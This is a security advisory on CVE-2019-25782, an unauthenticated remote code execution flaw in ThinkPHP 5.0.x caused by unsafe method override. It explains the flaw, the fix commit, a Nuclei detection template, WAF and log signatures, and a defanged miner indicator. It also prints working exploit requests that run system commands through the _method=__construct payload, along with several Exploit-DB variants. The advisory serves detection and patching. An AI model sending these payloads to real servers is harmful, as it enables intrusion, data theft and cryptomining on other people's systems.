Introduction
A single unauthenticated HTTP POST is enough to run arbitrary system commands on a ThinkPHP 5.0 application vulnerable to CVE-2019-25782. The Shadowserver Foundation observed exploitation in the wild starting 2023-10-14, and reproducible exploit code has circulated publicly since early 2019, so exposed installations are easy to weaponize.
ThinkPHP is a lightweight PHP framework for web application development, maintained by TopThink under the top-think GitHub organization. Its official project site claims 18 years of focus and more than 3 million professional developers, which would put it among the more widely deployed PHP frameworks in the Chinese-speaking web development ecosystem. Those are project site claims, not independently verified market figures, but the framework shows up often in RCE threat reporting, which points to real exposure.
Technical Information
The root cause is unsafe reflection, classified as CWE-470 (use of externally controlled input to select classes or code). The bug lives in ThinkPHP's Request class and its handling of HTTP method override.
ThinkPHP lets a client fake the HTTP verb by sending a POST field named by the var_method config key, which defaults to _method. The point is to support clients that cannot send PUT, DELETE, or other verbs directly. Before the fix, Request::method() took that value, upper-cased it, and used it straight away as the name of a method to call on the Request object:
$this->method = strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST);
The intent was to call helpers like $this->PUT($_POST) or $this->DELETE($_POST) to fill in the matching parameter bag. Two facts break this: PHP method names are case-insensitive, and nothing limited the submitted value. Sending _method=__construct made the framework call Request::__construct($_POST) again. The constructor copies the array it receives into the object's properties, so an attacker could overwrite properties such as filter (for example filter[]=system) and server. Later input handling then runs the attacker-chosen filter on attacker-supplied data, which gives remote code execution. The fake-verb feature let an attacker call any method on the Request object.
Attack Flow
- The attacker sends a POST request to an endpoint reached through
?s=captchaor?s=index/index/indexonindex.php. - The POST body sets
_method=__construct, causingRequest::method()to dynamically invoke the constructor. - The constructor copies the forged
filter[]=systemvalue into the Request object'sfilterproperty. - The attacker supplies the command to run via
server[REQUEST_METHOD], which the framework later passes through the now attacker-controlled filter. system()executes the command. No credentials, user interaction, or special preconditions are required against a vulnerable version.
The CVSS 3.1 vector records network attack, low complexity, no privileges required, no user interaction, and high confidentiality, integrity, and availability impact, for a score of 9.8 Critical. CVE.org also lists a CNA-supplied CVSS 4.0 score of 9.3 Critical.
Proof of Concept
A reliable, publicly reproducible PoC exists. The Vulhub project ships a Docker environment running ThinkPHP 5.0.23. After starting it with docker compose up -d and browsing to port 8080, the following single POST request overwrites the filter property and executes the id command via the ?s=captcha route:
POST /index.php?s=captcha HTTP/1.1 Host: localhost Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 72 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
Here _method=__construct triggers the unsafe constructor call, filter[]=system sets the data filter to the PHP system() function, and server[REQUEST_METHOD]=id supplies the command (id) that ultimately gets passed through the filter and executed.
Exploit-DB 46150 (author vr_system, 2019-01-14) catalogues a collection of ThinkPHP 5.x RCE payloads and independently documents this same _method=__construct technique against the ThinkPHP 5.0.23 full version, including variants such as:
(post) public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al (post) public/index.php (debug mode) _method=__construct&filter[]=system&server[REQUEST_METHOD]=touch /tmp/xxx (post) public/index.php?s=index/index/index (data) s=whoami&_method=__construct&method&filter[]=system
The VulnCheck advisory confirms the mechanism, credits the Shadowserver Foundation, notes in-the-wild exploitation first observed 2023-10-14, and references the upstream fix commit along with a ProjectDiscovery Nuclei template that implements the identical request pattern for automated detection.
Patch Information
ThinkPHP's maintainers fixed this in commit 4a4b5e6, committed on 2019-01-11 with the message "改进Request类" ("Improve the Request class"). The commit changes one file, library/think/Request.php (+14/-11). VulnCheck's CVE-2019-25782 advisory labels it the Fix Commit and lists 5.0.24 as the first unaffected version.
The patch reads the override into a local variable and only uses it if it is one of five known HTTP verbs:
@@ -522,8 +522,11 @@ public function method($method = false) return $this->server('REQUEST_METHOD') ?: 'GET'; } elseif (!$this->method) { if (isset($_POST[Config::get('var_method')])) { - $this->method = strtoupper($_POST[Config::get('var_method')]); - $this->{$this->method}($_POST); + $method = strtoupper($_POST[Config::get('var_method')]); + if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) { + $this->method = $method; + $this->{$this->method}($_POST); + } } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
This works for three reasons:
- Validate first, then assign. The untrusted value goes into the local
$methodand is checked within_array()before it reaches$this->methodor the dynamic call$this->{...}(). Nothing user-controlled reaches the call unless it passes the check. - A closed allowlist. Only
GET,POST,DELETE,PUT, andPATCHare accepted. Magic methods like__constructand other public methods likefiltercan no longer be called, which removes the step that let an attacker overwrite the object's state. - Invalid values are ignored. If the value is not on the list, the block does nothing and the request keeps its real verb.
The fix does not remove or harden the filter property itself. It closes the entry point by which attacker data reached that property. The X-HTTP-Method-Override branch is unchanged, but it only stores the verb string and never calls a method with it. The remaining hunks in the commit (in pathinfo(), route(), post(), request(), ip(), and cache()) only change whitespace and alignment. The change ships in ThinkPHP 5.0.24, and the two vulnerable lines in method() can be replaced by the allowlisted block for a hand backport.
Detection Methods
There are two things you can detect: exposed ThinkPHP 5.0.x installations that are still vulnerable, and attacks against them. Because the whole attack arrives in one unauthenticated HTTP POST, the request itself is a reliable thing to detect.
Active scanning with the public Nuclei template
NVD and the VulnCheck advisory both link ProjectDiscovery's Nuclei template thinkphp-5023-rce as the detection reference. The template's name refers to 5.0.23, but it tests the same _method=__construct code path. It sends one POST request and injects phpinfo instead of a shell command, so the check does not damage the target:
http: - method: POST path: - "{{BaseURL}}/index.php?s=captcha" headers: Content-Type: application/x-www-form-urlencoded body: "_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1" matchers-condition: and matchers: - type: word words: - "PHP Extension" - "PHP Version" - "ThinkPHP" condition: and - type: status status: - 200
A host counts as vulnerable only if all three strings appear in an HTTP 200 response, meaning phpinfo() actually ran. The template checks only the captcha route. NVD also lists ?s=index/index/index as a reachable endpoint, so a negative result on captcha does not prove a host is safe.
Network and WAF signatures
NVD and VulnCheck describe the attack as a POST to an endpoint reached through ?s=captcha or ?s=index/index/index, whose body contains _method=__construct, filter[]=system, and a server[REQUEST_METHOD] value carrying the command. Sucuri published a real in-the-wild log entry that matches this description:
POST: /index.php?s=captcha HTTP/1.1 Data: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=uname&ipconfig
When building IDS, WAF, or SIEM rules, inspect URL-encoded POST bodies for these signals:
_method=__construct. The strongest signal. The_methodfield exists to override the HTTP verb, so a PHP magic method name there is never legitimate.filter[]=set to a PHP execution function such assystem, orphpinfoin scanner probes.server[REQUEST_METHOD]=followed by something resembling a shell command.- The query string
s=captchaors=index/index/indexonindex.php.
Sucuri reported that bots kept rotating payload variants to evade WAFs, so match on _method=__construct combined with a filter parameter rather than on a full literal body.
Web server log hunting (retrospective)
Shadowserver first saw exploitation on 2023-10-14 according to NVD and VulnCheck, and exploitation started years before the CVE was published, so historical data is worth searching. Standard access logs usually do not record POST bodies, but a POST to /index.php?s=captcha or /index.php?s=index/index/index from an unfamiliar source is still worth reviewing, especially when it returns a 200 with an unusually large body (phpinfo output is big). If you have request-body logging, WAF logs, or full packet capture, search those for the _method=__construct marker.
Indicators of compromise and post-exploitation
Sucuri found attackers using this ThinkPHP RCE to install cryptominers, naming the malicious binary host hxxp://fid[.]hognoob[.]se/download[.]exe (defanged). That indicator dates from 2019 and is mainly useful for historical hunting. On the host, look for the PHP or web server process launching shells or download tools, outbound connections from the web server to unknown hosts, and new executables or miner processes appearing under the web server's user account.
Finding vulnerable code during audits
VulnCheck lists ThinkPHP 5.0.0 through 5.0.23 as affected. In a code inventory, check the bundled thinkphp/library/think/Request.php. The fixed method() function accepts only GET, POST, DELETE, PUT, and PATCH through an in_array() check before calling $this->{$this->method}($_POST). A copy without that check is an unpatched build.
Affected Systems and Versions
The vulnerability affects ThinkPHP 5.0.0 through releases before 5.0.24 (affected range: >= 5.0.0, < 5.0.24). Version 5.0.24 is the first unaffected release, as marked by VulnCheck and listed as unaffected by NSFOCUS. NSFOCUS's broader discussion covers additional ThinkPHP branches, but that should not be read as an expanded affected product list for this specific CVE entry.
Vendor Security History
ThinkPHP has a documented history of remote code execution issues. F5 Labs reported that attackers rapidly adopted a ThinkPHP RCE issue in 2018 for reconnaissance, backdoor uploads, and Mirai variants. This is context for the framework's exposure history, not evidence that the same actors used CVE-2019-25782. No reviewed source names a threat actor for exploitation of this specific CVE.
References
- NVD: CVE-2019-25782
- CVE.org Record: CVE-2019-25782
- VulnCheck Advisory: ThinkPHP 5.0.0 < 5.0.24 RCE via _method construct
- VulnCheck Advisory: ThinkPHP 5.0.0 < 5.0.23 RCE via _method construct
- Upstream Fix Commit 4a4b5e6 (top-think/framework)
- GitHub API: Fix Commit metadata
- Vulhub: ThinkPHP 5.0.23 RCE environment
- Vulhub PoC README
- Exploit-DB 46150
- ProjectDiscovery Nuclei Template: thinkphp-5023-rce.yaml
- Nuclei Templates repository entry
- Sucuri: ThinkPHP 5.x Remote Code Execution
- NSFOCUS: ThinkPHP RCE Vulnerability Handling Guide
- Packet Storm: ThinkPHP exploit files
- F5 Labs: Threat Actors Rapidly Adopt New ThinkPHP RCE Exploit
- Official ThinkPHP Project Site



